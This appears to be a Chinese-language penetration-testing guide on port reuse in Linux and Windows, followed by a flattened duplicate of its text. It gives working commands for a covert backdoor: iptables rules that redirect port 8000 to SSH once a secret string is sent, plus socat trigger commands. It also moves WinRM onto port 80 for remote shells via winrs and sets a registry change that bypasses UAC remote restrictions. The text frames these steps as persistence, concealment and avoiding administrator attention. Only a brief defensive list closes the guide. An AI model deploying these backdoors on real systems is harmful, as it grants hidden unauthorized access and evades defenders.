一文打尽 LinuxWindows端口复用实战
字数 1193 2025-08-15 21:33:37

Linux与Windows端口复用实战指南

一、端口复用概述

定义:端口复用是指不同的应用程序使用相同端口进行通讯。

应用场景

  • 内网渗透中搭建隧道时,服务器仅允许指定的端口对外开放
  • 将3389或22等端口转发到如80端口上,以便外部连接
  • 隐蔽攻击行为,提高生存几率
  • 用作通道后门

特点

  • 在系统已开放的端口上进行通讯
  • 只对输入信息进行字符匹配,不拦截、复制网络数据
  • 对网络数据传输性能几乎没有影响

二、Linux端口复用实现

1. 技术原理

核心工具

  • iptables:Linux防火墙管理工具,基于netfilter内核模块
  • socat:多功能网络工具,可视为netcat的加强版

iptables关键概念

  • 链(Chain):按顺序排列的规则列表

    • PREROUTING:路由选择前处理
    • INPUT:进入的数据包
    • OUTPUT:外出的数据包
    • FORWARD:转发的数据包
    • POSTROUTING:路由选择后处理
  • 表(Table):一组预定义的链

    • filter表:防火墙相关操作,过滤数据包
    • nat表:网络地址转换
    • mangle表:处理数据包
    • raw表:配置数据包,不被系统跟踪

2. 实现步骤

配置端口复用规则

# 新建端口复用链
iptables -t nat -N LETMEIN

# 端口复用规则(将流量重定向到22端口)
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 开启端口复用开关(接收特定字符串后生效)
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT

# 关闭端口复用开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT

# 开启端口复用(检查3600秒内的匹配记录)
iptables -t nat -A PREROUTING -p tcp --dport 8000 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

使用socat连接

# 开启端口复用
echo threathuntercoming | socat -- tcp:目标IP:8000

# 关闭端口复用
echo threathunterleaving | socat -- tcp:目标IP:8000

3. 注意事项

  • 该方法为有限端口复用,复用后端口正常业务会受影响
  • 仅用于后门留存或临时使用,不建议长期使用
  • 约定字符应尽量复杂以提高安全性

三、Windows端口复用实现

1. 技术原理

核心组件

  • HTTP.sys:Windows处理HTTP请求的内核驱动程序

    • 从IIS 6.0引入(Windows Server 2003+)
    • 监听HTTP流量并根据URL注册情况分发
    • 实现多个进程在同一端口监听HTTP流量
  • Net.tcp Port Sharing:WCF中的端口共享服务

    • 基于HTTP.sys实现
    • 允许不同应用共享相同端口
  • WinRM(Windows Remote Management)

    • 默认监听5985端口(HTTP协议)
    • 可在HTTP.sys上注册url前缀
    • 通过修改监听端口实现端口复用

2. 实现步骤

基础配置

:: 查询当前注册的url前缀
netsh http show servicestate

:: 开启winrm服务(Windows 2008需要手动启动)
winrm quickconfig -q

配置端口复用

:: 增加80端口复用
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

:: 更改winrm监听端口为80
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

攻击机配置

:: 启动winrm
winrm quickconfig -q

:: 设置信任主机地址
winrm set winrm/config/Client @{TrustedHosts="*"}

远程连接

:: 使用winrs远程执行命令
winrs -r:http://目标IP -u:administrator -p:密码 "命令"

:: 获取交互式shell
winrs -r:http://目标IP -u:administrator -p:密码 cmd

3. 高级配置

权限提升

:: 允许本地管理员组的其他用户登录WinRM(绕过UAC限制)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Hash登录

系统自带的winrs命令需要使用明文账号密码,可通过自定义客户端实现NTLM hash登录。

4. 注意事项

  • 需要管理员权限
  • Windows 2012及以上版本默认启动WinRM并监听5985端口
  • 修改端口时需注意避免引起管理员关注
  • IIS服务不会受到影响

四、防御建议

  1. 监控iptables/netsh配置变更
  2. 检查异常端口复用规则
  3. 限制WinRM服务使用
  4. 实施严格的网络访问控制
  5. 监控异常字符串匹配规则

五、参考资源

  1. iptables详解
  2. HTTP.sys端口复用
  3. WinRM端口复用
  4. HTTP.sys漏洞分析
Linux与Windows端口复用实战指南 一、端口复用概述 定义 :端口复用是指不同的应用程序使用相同端口进行通讯。 应用场景 : 内网渗透中搭建隧道时,服务器仅允许指定的端口对外开放 将3389或22等端口转发到如80端口上,以便外部连接 隐蔽攻击行为,提高生存几率 用作通道后门 特点 : 在系统已开放的端口上进行通讯 只对输入信息进行字符匹配,不拦截、复制网络数据 对网络数据传输性能几乎没有影响 二、Linux端口复用实现 1. 技术原理 核心工具 : iptables :Linux防火墙管理工具,基于netfilter内核模块 socat :多功能网络工具,可视为netcat的加强版 iptables关键概念 : 链(Chain) :按顺序排列的规则列表 PREROUTING:路由选择前处理 INPUT:进入的数据包 OUTPUT:外出的数据包 FORWARD:转发的数据包 POSTROUTING:路由选择后处理 表(Table) :一组预定义的链 filter表:防火墙相关操作,过滤数据包 nat表:网络地址转换 mangle表:处理数据包 raw表:配置数据包,不被系统跟踪 2. 实现步骤 配置端口复用规则 使用socat连接 3. 注意事项 该方法为有限端口复用,复用后端口正常业务会受影响 仅用于后门留存或临时使用,不建议长期使用 约定字符应尽量复杂以提高安全性 三、Windows端口复用实现 1. 技术原理 核心组件 : HTTP.sys :Windows处理HTTP请求的内核驱动程序 从IIS 6.0引入(Windows Server 2003+) 监听HTTP流量并根据URL注册情况分发 实现多个进程在同一端口监听HTTP流量 Net.tcp Port Sharing :WCF中的端口共享服务 基于HTTP.sys实现 允许不同应用共享相同端口 WinRM(Windows Remote Management) : 默认监听5985端口(HTTP协议) 可在HTTP.sys上注册url前缀 通过修改监听端口实现端口复用 2. 实现步骤 基础配置 配置端口复用 攻击机配置 远程连接 3. 高级配置 权限提升 Hash登录 系统自带的winrs命令需要使用明文账号密码,可通过自定义客户端实现NTLM hash登录。 4. 注意事项 需要管理员权限 Windows 2012及以上版本默认启动WinRM并监听5985端口 修改端口时需注意避免引起管理员关注 IIS服务不会受到影响 四、防御建议 监控iptables/netsh配置变更 检查异常端口复用规则 限制WinRM服务使用 实施严格的网络访问控制 监控异常字符串匹配规则 五、参考资源 iptables详解 HTTP.sys端口复用 WinRM端口复用 HTTP.sys漏洞分析